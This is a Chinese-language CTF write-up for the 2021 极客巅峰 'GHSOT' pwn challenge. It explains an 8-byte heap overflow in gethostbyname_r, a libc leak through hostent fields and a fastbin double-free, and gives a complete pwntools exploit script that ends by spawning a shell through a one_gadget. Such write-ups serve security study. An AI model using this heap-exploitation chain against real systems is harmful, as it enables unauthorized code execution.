2021 极客巅峰 GHSOT writeup

参考openwall的这篇分析文章发现,gethostbyname_r存在一个8字节的溢出。题目转化为堆块重叠做。

远程使用了rpath来patch。具体的命令为

1
patchelf --set-interpreter {pwd}/ld.so.2 --set-rpath {pwd} ./pwn

远程是ubunt 18 04

堆块排布是我觉得最为恶心的地方。想要malloc一块大小为x的chunk,会同时分配出xx+0x200x30三个堆块。

用来泄露libc的结构体中h_name(+0)和h_addr_list(+0x18)可以用于信息泄露。

1
2
3
4
5
6
7
8
struct hostent
{
char *h_name;
char **h_aliases;
int h_addrtype;
int h_length;
char **h_addr_list;
};

构造堆的时候如果想通过在h_name的位置写入一unsorted bin的地址来泄露的话,还必须提前把h_addr_list指向的位置清零,不然解引用非法指针的话程序直接崩溃。

构造完fastbin double free后不能写入非法的字符,只好将堆块倒数第二个字节抬升至0x00,提前控制好这个位置堆块上的fd。

写入非法的字符能够写在NameBuf中,但是进入gethostbyname_r中后会引发一系列的堆块分配,导致构造好的fastbin链被malloc consoladate,触发安全检查而崩溃。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/python

from pwn import *
# context.log_level='debug'
context.terminal=['tmux','split-w','-h']
context.arch='amd64'

p=process('./pwn',env={})

def add(idx,size,content='0'):
'''add three chunks of size x x+0x20 0x30 in a row'''
p.sendlineafter('>>','1')
p.sendlineafter('idx:',str(idx))
p.sendlineafter('len:',str(size-0x8-0x1))
p.sendline(content)

def show(idx):
p.sendlineafter('>>','2')
p.sendlineafter('idx:',str(idx))

def delete(idx):
p.sendlineafter('>>','3')
p.sendlineafter('idx:',str(idx))

add(0,0x20)
add(1,0x20)
delete(0)
add(0,0x40)
add(2,0x20) # to overflow
delete(0)
add(0,0x60) # to leak address
delete(2)
add(2,0x20,'0'*0x10+'10')
add(3,0x3030-0x30-0x80)
add(4,0x20) # free two 0x30 chunks into fastbins first
add(5,0x20)
delete(4)
delete(5)
delete(2) # chunk overlapping into ub

add(5,0x30,'0'*0x20+'1')
for i in range(8):
delete(5)
add(5,0x30,'0'*(0x1f-i))
show(0) # leak libc
base=u64(p.recvn(6)+b'\0\0')-(0x7ffff7dd3798-0x7ffff7a12000)
print(hex(base))
target=base+(0x7ffff7dd370d-0x7ffff7a12000)

add(10,0x20)
add(10,0x20)
add(10,0x20) # clear all bins

# now restart heap
# replay to fastbin attack
add(0,0x30)
add(10,0x50)
add(12,0x20)
add(12,0x8d50) # up lift heap address to make 0x5555557700xx
# get a chunk at 0x555555770030 write target chunk address
add(12,0x70,p64(target))
add(12,0x4a0)
add(12,0xd0)
add(14,0x50)
add(1,0x20) # to overflow
delete(0)
add(11,0x50)
add(15,0x3030-0x30-0x70)

delete(1)
add(1,0x20,'0'*0x10+'10')
delete(1)

add(13,0x20)
add(13,0x70)
delete(13)
delete(14)
delete(11)
# attach(p)
add(0,0x90)
add(0,0x20)
add(0,0x70,'0')
# fast bin attack list ok

add(0,0x70)
add(0,0x70)
add(0,0x70)
add(0,0x70,b'\0'*3+p64(base+0x462b8)) # 0x46262 0x462b8 0xe66b5
p.interactive() # brute force 1/16